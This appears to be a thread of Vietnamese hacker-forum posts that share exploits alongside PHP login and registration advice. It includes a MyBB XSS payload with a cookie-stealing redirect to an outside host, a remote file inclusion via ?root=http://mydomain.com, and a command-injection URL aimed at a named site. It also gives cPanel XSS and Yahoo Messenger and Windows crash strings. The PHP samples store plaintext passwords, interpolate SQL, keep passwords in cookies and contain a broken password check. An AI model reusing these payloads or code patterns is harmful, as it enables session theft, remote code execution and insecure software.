|
|
Trời ! Nếu up được lên thì chiến con rem lên . . . hê hê . . . nhiều cái hài lắm đây.
Cả máy mình và những host mình đang dùng đều không làm được kiểu này . . ..
HAVE FUN!
|
|
|
hê hê ! không có trang chủ rồi ! Đặt index.php hoặc index.html lên
HAVE FUN !
|
|
|
Cảnh báo : Đọc đến hết bài hãy thực hành. Áp dụng cho xp, 2003 mọi phiên bản.
Trước hết ! bạn hãy bật cmd.exe <== bạn không làm bước này là dở khóc dở cười đó nha.
Dùng lệnh cd để chuyển thư mục về desktop của bạn.
Okie ! bạn mở notepad ra. Tạo file *.url (ví dụ thu.url chẳng hạn) có nội dung như sau :
Code:
[InternetShortcut]
url=file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:
rồi lưu vào desktop. Thế là xong
Bạn chỉ cần xoá file thu.url bằng lệnh del thu.url mọi thứ sẽ được giải quyết.
Nguồn : securityfocus
HAVE FUN !
|
|
|
Con bac phamquoc_truong bao rang neu user truy cap vao trang dang ky thi moi duoc gan bien anti_flood cho gi, nhung neu user ko vao trang do bang trinh duyet ma cung bang mot ung dung thu 3 thi sao ???
Thế thì cho nó vào đến trình duyệt thứ 100 hay một nghìn thì làm gì được vậy ? Bạn có hiểu bạn nói cái gì không ?
Và nếu như người dùng không vào trang đăng kí thì sẽ không được nhận giá trị này. Nếu trên server kiểm tra, không có giá trị flood hoặc giá trị này sai, truy vấn sẽ bị loại bỏ. Cái giá trị này của anti_flood này một phần em dựa vào quy luật một phần dựa vào session => mỗi giá trị gần như là duy nhất => không thể nào làm giả được => người dùng bắt buộc phải vào trang đăng kí thật để đăng kí.
@To bác lyhuuloi. Vâng bác thử dít-sa-bờ-lết cái cookie đi rồi vào mấy diễn đàn mà đăng nhập xem ! => IPB không thực tế, VBB không thực tế, *forum không thực tế. Còn bác thì thực tế đến nỗi một user có thể có mấy thằng đăng kí. Bác thực tế quá !
Cái gì mọi người góp ý, em xin ghi nhận . . . và cũng xin chào topic này. Em chả muốn anh em căng thẳng thêm nữa đâu nha. . .
HAVE FUN !
|
|
|
Trời ơi ! Bó ch*m ! Bác Lợi ơi là bác Lợi !
mình kiểm tra toàn bộ thông tin người dùng ngay trên trang đăng kí
Em nói ngắn gọn lại thế này nhé :
1) Nếu như user vào trang đăng kí, mình sẽ gắn cho họ một cái flag (người thì cookie, người thi session ...) còn em, em sẽ tạo ra một giá trị của biến anti_flood. Và nếu như người dùng không vào trang đăng kí thì sẽ không được nhận giá trị này. Nếu trên server kiểm tra, không có giá trị flood hoặc giá trị này sai, truy vấn sẽ bị loại bỏ. Cái giá trị này của anti_flood này một phần em dựa vào quy luật một phần dựa vào session => mỗi giá trị gần như là duy nhất => không thể nào làm giả được => người dùng bắt buộc phải vào trang đăng kí thật để đăng kí.
2) Mình sẽ kiểm tra
//Kiểm tra 4 thông tin, nếu có bất kỳ thông tin chưa điền thì sẽ báo lỗi
// Kiểm tra mật khẩu, bắt buộc mật khẩu nhập lúc đầu và mật khẩu lúc sau phải trùng nhau
Tất tần tật bằng javascript như mình đã nói
mình kiểm tra toàn bộ thông tin người dùng ngay trên trang đăng kí
như vậy dòng này :
Và Bạn đã rất ẩu khi thay code mà không kiểm tra lại những gì mình viết, như vậy ở đoạn code của bạn thay lại đã thiếu:
1. Kiểm tra mật khẩu nhập lần đầu, và mật khẩu xác nhận có khớp với nhau hay không ( cũng chẳng thèm kiểm tra coi có nhập mật khẩu chưa ).
2. Kiểm tra email có điền chưa.
mình hoàn toàn phủ nhận. Xin mọi người hãy đọc kĩ nhé !
Form đăng kí như thế này :
Code:
<form action="register.php?act=do" method="post" name="form_reg" onsubmit="return kiemtra();">
Tên truy nhập: <input type="text" name="username" value="">
Mật khẩu: <input type="password" name="password" value="">
Xác nhận mật khẩu: <input type="password" name="verify_password" value="">
Địa chỉ E-mail: <input type="text" name="email" value="">
<input type="submit" name="submit" value="Đăng ký tài khoản">
</form>
Và đây là đoạn code kiểm tra bằng javascript mà bài trước em chỉ nói qua(mình nghĩ rằng nó rất dễ chỉ cần nói ra là mọi người đã hiểu . . .)
Code:
function ktEmail(s)
{
if (s=="") return false;
if(s.indexOf(" ")>0) return false;
if(s.indexOf("@")==-1) return false;
var i = 1;
var dodai = s.length;
if (s.indexOf(".")==-1) return false;
if (s.indexOf("..")!=-1) return false;
if (s.indexOf("@")!=s.lastIndexOf("@")) return false;
if (s.lastIndexOf(".")==s.length-1) return false;
var str="0123456789abcdefghikjlmnopqrstuvwxyz-@._";
for(var j=0;j<s.length;j++)
if(str.indexOf(s.charAt(j))==-1)
return false;
return true;
}
function trong(s)
{
return ((s == null) || (s.length == 0))
}
function khoangtrang (s)
{
var whitespace = " \t\n\r";
var i;
if (trong(s)) return true;
for (i = 0; i < s.length; i++)
{
var c = s.charAt(i);
if (whitespace.indexOf(c) == -1) return false;
}
return true;
}
function so(c){
return (c>="0" && c<="9");
}
function sos(str)
{
var kt=true;
for(var i=0;i<str.length;i++)
{
if(!isNumer(str.charAt(i)))
{
kt=false;
break;
}
}
return kt;
}
function kiemtra()
{
sai=0;
for(i=0;i<document.form_reg.elements.length-1;i++)
{
if(form_reg.elements[i].value=='')
{
alert('Bạn phải nhập đầy đủ thông tin !');
form_reg.elements[i].focus();
sai=1;
break;
}
}
if(form_reg.password.value!=form_reg.verify_password.value && sai==0)
{
alert('2 mật khẩu không trùng nhau !');
form_reg.password.focus();
sai=1;
}
if (!ktEmail(form_reg.email.value) && sai==0)
{
alert("Bạn đã nhập sai email !");
form_reg.email.focus();
sai=1;
}
if(sai==1)
return false;
else
return true;
}
Đoạn code của bác không kt user đã tồn tại hay chưa, email nhập vào cũng không kiểm tra xem nó có nhập vào là 1 email hay không, cũng chưa chống flood nốt.
Nếu như mình còn có gì chưa đúng, xin mọi người tiếp tục chỉ dạy . . .
HAVE FUN !
|
|
|
TO Mr An Luong
Bạn nói 2 điều thì 2 điều đều sai !
Điều thứ nhất :
ehèm, cái thứ hai của bạn đóa , đành rằng công việc kiếm tra nên để ở phía client thì tốt hơn nhưng mà cũng không thể nào không kiểm tra ở phía Server, hãy tưởng tượng, nếu dữ liệu được gửi đến Server của bạn không thông qua trình duyệt (nơi mà có sẵn các mã JavaScript xử lý trước dữ liệu) mà được gửi lên từ một ứng dụng thứ ba thì sao ? Khi đó thì rõ ràng bạn không thể kiểm soát được cái nào được gửi lên và dĩ nhiên khả năng xảy ra lỗi là rất lớn.
Thật ra việc để cho trình duyệt phía Client tự kiếm tra dữ liệu trước chỉ là một thủ thuật để nhằm tiết kiệm thời gian cho USER và phần nào giúp đỡ Server đỡ mệt mỏi thôi. Chúng ta không thể phủ định tầm quan trọng của việc kiếm tra dữ liệu phía Server.
Thế bạn đã đọc cái dòng này chưa ?
Cũng vừa để cho chắc ăn, vừa chống flood, vừa kiểm tra được user đã đăng kí hay chưa (cái kiểm tra user exists trên code chưa có à nha), em dùng một type=hidden, name="anti_flood", value=một dẫy số do em tạo ra(theo một quy luật nào đó mà mình có thể kt được nó đúng hay sai).
Nếu như dẫy số này trên server kt là đúng thì sẽ : ....
Chỉ khi nào user submit bằng chính web của mình thì cái anti_flood mới được gán. Và nó sẽ được kiểm tra trên server. Nếu nó chưa được gán hoặc gán sai giá trị <== Flood và sẽ bị loại ngay. Như vậy sẽ không thể có chuyện :dữ liệu được gửi đến Server của bạn không thông qua trình duyệt (nơi mà có sẵn các mã JavaScript xử lý trước dữ liệu) mà được gửi lên từ một ứng dụng thứ ba
Điều thứ 2 : Code:
theo minh biet la nhuoi ta dung cookie de luu thong tin tren may client ma, lam gi co chien tao session tren may cua user
Cookie có một vài vấn đề không thích hợp brower trong trường hợp brower của người dùng không chấp nhận cookie. Người dùng có thể vô hiệu hoá cookie trong brower. Do cookie lưu thông tin cá nhân trên máy khách nên hầu hết người dùng đều không muốn. Đó là lý do người dùng có thể vô hiệu hoá chức năng chấp nhận cookie.
lam gi co chien tao session tren may cua user . . . hì hì câu này mình đâu có nói.
Do máy mình cài apache + php nên hoàn toàn mình có thể tạo 1 session.
@TO Mr An Luong & iceface
Có thể mình nhầm. Mình vừa tạo và vừa kiểm tra session ngay trên localhost của mình, nên có thể đã dẫn đến hiện tượng trên. Cảm ơn 2 bạn.
P/S : Xin lưu ý bác : Bigball_hacker. Bê bài của người khác từ nơi khác sang mà không đề tên tác giả là thế nào ?
HAVE FUN !
|
|
|
Software: MyBB
Sowtware’s Web Site: http://www.mybboard.com
Versions: 1.1.3
Class: Remote
Status: Patched
Exploit: Available
Discovered by: imei addmimistrator
Risk Level:low-medium
========================
{inc/functions_post.php}near 138
function fixjavascript($message)
{
$message = preg_replace(”#javascript:#i”, “java script:”, $message);
/* …….. */
{alos near 19}
$message = preg_replace(”#&(?!\#[0-9]+#si”, “&”, $message); // fix & but allow unicode
=========================
Khai thác :
Post bài viết với nội dung :
Code:
[url]javascript:alert(’Are you chicken ?’);//://ddd[/url]
Nếu như thay cái alert kia thằng cái 'window.localtion=http://domain.com/ghi.php?mybb='+document.cookie <== Vãi tội.
nguyên bản : http://myimei.com/security/2006-06-22/mybb-114-function_postphpxss-attack-in-url-tag.html
HAVE FUN !
|
|
|
Lại là Remote File include. Xem chừng các programmer ngoại cũng lởm khởm ghê
Discovered By CrAsh_oVeR_rIdE
Arabian Security Team
site of script:www.smartsitecms.net
Code:
1-in comment.php :
require($root . "include/inc_foot.php");
---------------------------------------
2-in /admin/comedit.php :
else
{
require('../include/inc_accessfail.php');
}
?>
</div>
</div>
<?php
}
else {
require($root . "include/inc_adminfail.php");
}
---------------------------------------
3-in /admin/test.php :
require($root . "include/inc_adminfooter.php");
---------------------------------------
4-in /admin/index.php :
require($root . "admin/include/inc_adminfooter.php");
---------------------------------------
5-in /admin/include/inc_adminfoot.php:
require($root . "include/inc_footer.php");
---------------------------------------
Đến đây đã quá rõ. Chỉ cần ?root=http://mydomain.com và tạo include với file tương tự nhưng nội dung thì . . .
HAVE FUN !
|
|
|
@To kook
Code:
$user_admin=addslashes($_POST["user"]);
$pw_admin=addslashes($_POST["password"]);
$truyvan=@mysql_query("select user,password from admin_table_name where admin_user_column='$user_admin'");
$kt=@mysql_fetch_array($truyvan);
if(@mysql_num_rows($truyvan)!=0 && $kt[1]="$pw_admin")
{
echo "Đăng nhập thành công ?";
..........................................
}
else
{
$ip=$_SERVER["REMOTE_ADDR"]."
";
$mofile=@fopen(".htaccess","a");
$ghi=@fwrite($moghi,$ip);
$dongghi=@fclose($mofile);
echo "Quả này thì có thằng vãi tội !";
}
HAVE FUN !
|
|
|
Thế cái này là do thành viên của HVA phát hiện ra à ????
|
|
|
Trời ! suy nghĩ hơi . . .
Bạn nghĩ rằng bạn đặt file config ở host khác rồi chẳng ai biết được nội dung file đó sao ? nhầm rất cở bản ! Thế bạn không nghĩ rằng nó cũng có thể dùng host của nó để đọc sao ?
Bạn dùng read để đọc 1 file ở host khác ? thế thì nó chả mất thời gian dùng read làm gì cả, nó đánh thằng file đó của bạn trên addresss ra hết ! Vì server cũng chỉ trả cho bạn HTML thôi chứ có trả về nội dung php đâu.
Nói túm lại : cách này rất chuối !
Tốt nhất :
1) Chọn host fix localhost
2) CHMOD tốt
3) Dùng zend !
|
|
|
Đầy đủ, cụ thể . . . rất đáng cho mọi người cũng tham khảo !
HAVE FUN !
|
|
|
Theo mình nên ghi những ip ban vào database. Sau đó ghi những IP trong database ra .htacess hoặc cũng có thể kiểm tra và chặn ngay ở trang chủ. . . với welcome, đề phòng những đối tượng bị đánh oan. Như thế mình vừa có thể kiểm soát, vừa có thể xóa bỏ những IP ban.
HAVE FUN !
|
|
|
Phiên bản : tất cả mọi phiên bản !
Khai thác :
http://www.site.com/sitebar/command.php?command=[CODES]
http://howto.vnlinux.org/command.php?command= <==
HAVE FUN ~
|
|
|
Sau khi đăng nhập đánh dòng này trên address :
Code:
http://tendomain:2082/frontend/x2/files/select.html?dir=/&file=Moved%20<a%20href='?'%20onMouseover='alert(document.cookie)'>Here%20<!--
rồi move chuột vào chữ here !
Lỗi phát hiện ngày 09-06-2006. Đã test trên 10.8.2-CURRENT 118 & 10.8.1-RELEASE 113
Nguyễn bản : http://bugzilla.cpanel.net/show_bug.cgi?id=4282
|
|
|
http://www.securityfocus.com/archive/1/437527/30/0/threaded
gửi vào Jun 13 2006 nhưng đã được fix gần như hết !
|
|
|
ErrorDocument mã số lỗi /trangloi.html
Trong đó mã số lỗi là mã số của lỗi phát sinh, sau đây là những lỗi hay gặp:
- 401 - Authorization Required (cần password để truy nhập)
- 400 - Bad request (Lỗi do yêu cầu)
- 403 - Forbidden (không được vào)
- 500 - Internal Server Error (lỗi server)
- 404 - Wrong page (lỗi trang, không tìm thấy...)
Options –Indexes
Thay thế trang index
Thông thường khi truy nhập vào một trang web, Apache sẽ tìm tập tin index.htm hoặc default.htm trả kết quả về cho trình duyệt, bạn có thể dùng .htaccess thay đổi mặc định này.
DirectoryIndex index.php index .php3 messagebrd.pl index.html index.htm
Cấm/hạn chế IP truy nhập
Một số người muốn làm ngập (flood) trang web của bạn, việc cần làm là ngăn cấm những IP của những người này truy nhập vào trang web, bạn thêm đoạn mã sau vào .htaccess: deny from 203.262.110.20; cho phép IP truy nhập: allow from 203.262.110.20.
Nếu bạn chỉ viết IP dưới dạng: 203.262.110 thì sẽ cấm tất cả IP trong dải từ 203.262.110.1 đến 203.262.110.254.
Sử dụng dòng lệnh sau: Deny from all sẽ cấm tất cả mọi truy nhập đến các trang web trong thư mục, tuy nhiên các tập tin trong đó vẫn có thể được sử dụng từ bên ngoài thông qua các lệnh dạng require hay include (trong lập trình PHP), có thể xem thêm mã nguồn của PHPBB forum,IBF... để hiểu rõ hơn.
Tự động chuyển đến địa chỉ mới (Redirection)
Bạn chuyển trang web của mình đến địa chỉ mới nhưng không phải ai cũng biết điều này, wwwect truy nhập từ xa một cách đơn giản bằng lệnh sau:
Redirect/olddirectory http://www.trangwebmoi.com/thumucmoi ;
Tuỳ biến đuôi tập tin
Thông thường, tuỳ thuộc vào ngôn ngữ lập trình web mà bạn sử dụng tập tin sẽ có phần mở rộng khác nhau như: html, htm, asp, aspx, php, cgi, …Tuy nhiên nếu sử dụng .htaccess bạn có thể tác động vào máy chủ Apache, Apache sẽ gọi đến tập tin của bạn và trả về cho trình duyệt web của người dùng với phần mở rộng do bạn quy định trong .htaccess. Bạn sử dụng đoạn lệnh sau trong tập tin .htaccess:
RewriteEngine on
RewriteRule (.*)\.dll$ $1.html
(QTM)
Tạo đường dẫn ảo
Tạo file .htaccess
Code:
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} -d [OR]
RewriteCond %{REQUEST_FILENAME} -s
RewriteRule ^.*$ - [L]
RewriteRule ^(.*)$ rewrite.php [L]
Tạo file rewrite.php
Code:
if(!$_SERVER['QUERY_STRING']){
$url=strip_tags($_SERVER['REQUEST_URI']);
$url_arr=explode("/",$url);
array_shift($url_arr); // bo cell đầu null
$page="";$query="";
/*Lay phan duong dan va ten file include*/
for($i=0;$i<count($url_arr)-1;$i++)
$page.=$url_arr[$i]."/";
if($page=="") $page="home.php";
else
$page=substr($page,0,strlen($page)-1).".php";
if(!file_exists($page)){
echo "Invalid filename...";exit;
}
/*Lay phan querystring dang var1_var2_var3.vec*/
$query=substr($url_arr[$i],0,strlen($url_arr[$i])-4); // cat bo chu .htm cuối cùng của chuỗi URL
$var_arr=explode("_",$query,10);
$var1=@$var_arr[0];
$var2=@$var_arr[1];
$var3=@$var_arr[2];
// ban gan cac giá trị query string vào từng biến
include($page);
}
else{
header("Location:".$_SERVER['REQUEST_URI']);
}
?>
- Chuỗi URL đưa vào có dạng: http://yourdomain.com/thư/mục/chứa/file/tên file.php/var1_var2_var3.htm
- Nếu không sử dụng các var1, var2,... thì bạn cho đại một tên nào đó ví dụ như show.htm chẳng hạn.
ví dụ: bình thường nếu truy cập:
http://domain.net/products/list.php?cat=adgf&sort=fall
thì rewrite lại như sau:
http://domain.net/product/list/adgf_fall.htm
HVA cũ !
HAVE FUN !
|
|
|
Hê hê !
Bằng sự kém hiểu biết của mình, em muốn nói đôi lời về code này(nếu có gì sai mong anh em chỉ dạy thêm )
Thứ nhất :
Code:
// Nếu username này không tồn tại thì....
if ( @mysql_num_rows( $sql_query ) <= 0 )
Mình thì chưa thấy @mysql_num_rows( $sql_query ) <0 bao giờ nên cũng hơi buồn cười khi thấy code này . . . thường thì mình làm là
Code:
if ( @mysql_num_rows( $sql_query ) == 0 )
Thứ 2 : Để đỡ tốn thời gian của user cũng như "bớt việc" cho server, mình kiểm tra toàn bộ thông tin người dùng ngay trên trang đăng kí, chứ không để lên trên server mới làm. Như vậy theo mình sẽ bỏ:
Code:
// Kiểm tra 4 thông tin, nếu có bất kỳ thông tin chưa điền thì sẽ báo lỗi
if ( ! $username || ! $password || ! $verify_password || ! $email )
{
print "Xin vui lòng nhập đầy đủ các thông tin. <a href='javascript:history.go(-1)'>Nhấp vào đây để quay trở lại</a>";
exit;
}
// Kiểm tra mật khẩu, bắt buộc mật khẩu nhập lúc đầu và mật khẩu lúc sau phải trùng nhau
if ( $password != $verify_password )
{
print "Mật khẩu không giống nhau, bạn hãy nhập lại mật khẩu. <a href='javascript:history.go(-1)'>Nhấp vào đây để quay trở lại</a>";
exit;
}
Cũng vừa để cho chắc ăn, vừa chống flood, vừa kiểm tra được user đã đăng kí hay chưa (cái kiểm tra user exists trên code chưa có à nha), em dùng một type=hidden, name="anti_flood", value=một dẫy số do em tạo ra(theo một quy luật nào đó mà mình có thể kt được nó đúng hay sai).
Nếu như dẫy số này trên server kt là đúng thì sẽ :
Code:
$kt_user = @mysql_query("SELECT id FROM members WHERE username='$username'");
if(@mysql_num_rows($kt_user)!=0)
{
echo "UserName này đã tồn tại. Mời bạn chọn User Nam khác !";
exit;
}
else
{
// Tiến hành tạo tài khoản
@mysql_query("INSERT INTO members (username, password, email) VALUES ('{$username}', '{$password}', '{$email}')");
// Thông báo hoàn tất việc tạo tài khoản
print "Tài khoản {$username} đã được tạo. <a href='login.php'>Nhấp vào đây để đăng nhập</a>";
}
Còn việc
Code:
if ( !$_SESSION['user_id'] )
{
print <<<EOF
Bạn chưa đăng nhập! <a href='login.php'>Nhấp vào đây để đăng nhập</a>
EOF;
}
Thì chuối một tí (sorry, nếu em sai !). Như mọi người đã biết giá trị của session sẽ xuyên suốt trong quá trình user làm việc với 1 cửa sổ, cho dù user chuyển từ trang này sang trang kia, trừ khi giá trị đó bị thay đổi hoặc phá huỷ. Như vậy chỗ này, em chỉ cần tạo một cái
Code:
$_SESSION['user_id']=1;//thường của admin
trên máy (hay trên host) rồi cũng từ cửa sổ đó chuyển sang trang đăng nhập này . . . hê hê . . . bạn đoán xem chuyện gì sẽ xảy ra ?????
Theo mình là dùng setcokie (mặc dù không được tiện khi người dùng tắt cookie trên duyệt trình).
Sau khi kiểm tra các bước đăng nhập xong ta sẽ :
Code:
@setcookie("user","$member[1]",time()+30*24*60*60,"tendomain") //sét trong 1 tháng
@setcookie("pw","$member[2]",time()+30*24*60*60,"tendomain") //sét trong 1 tháng
và đoạn này
Code:
if ( !$_SESSION['user_id'] )
{
print <<<EOF
Bạn chưa đăng nhập! <a href='login.php'>Nhấp vào đây để đăng nhập</a>
EOF;
}
thay bằng
Code:
if ( ! $_COOKIE["user"] || !$_COOKIE["pw"] )
{
print <<<EOF
Bạn chưa đăng nhập! <a href='login.php'>Nhấp vào đây để đăng nhập</a>
EOF;
}
else
{
...... <== kt cookie. Nếu đúng thì thông báo đã đăng nhập, nếu sai thì echo "Thằng nào thích fake hả ?";
}
^_^ đó là những gì trong cái đầu bé ít chữ của em . . . các bác tham khảo nếu có sai thì các bác đừng vác đá táng đầu em
HAVE FUN!
|
|
|
Bigball_hacker wrote:
1. Khởi động Yahoo và đăng nhập
2. PM cho 1 người trong list đoạn code sau:
"s: msg :---------------------------------------------iframe onload=$InlineAction()>" (không có " " nha)
4. Send đi là oK
Lưu ý: "msg :" phải cách khoảng bằng cách nhấn Alt+0160
Link:
http://www.securityfocus.com/archive/82/437751/30/0/threaded
Yahoo! Search: Yahoo Messenger 7.0.0.438 Crash Tested | subNacion - ... s: msg :-iframe onload=$InlineAction()>" (without ... "s: msg :-iframe onload=$InlineAction ... - More Results
Yahoo đã khắc phục lỗi rồi mà
|
|
|
|
|
|
|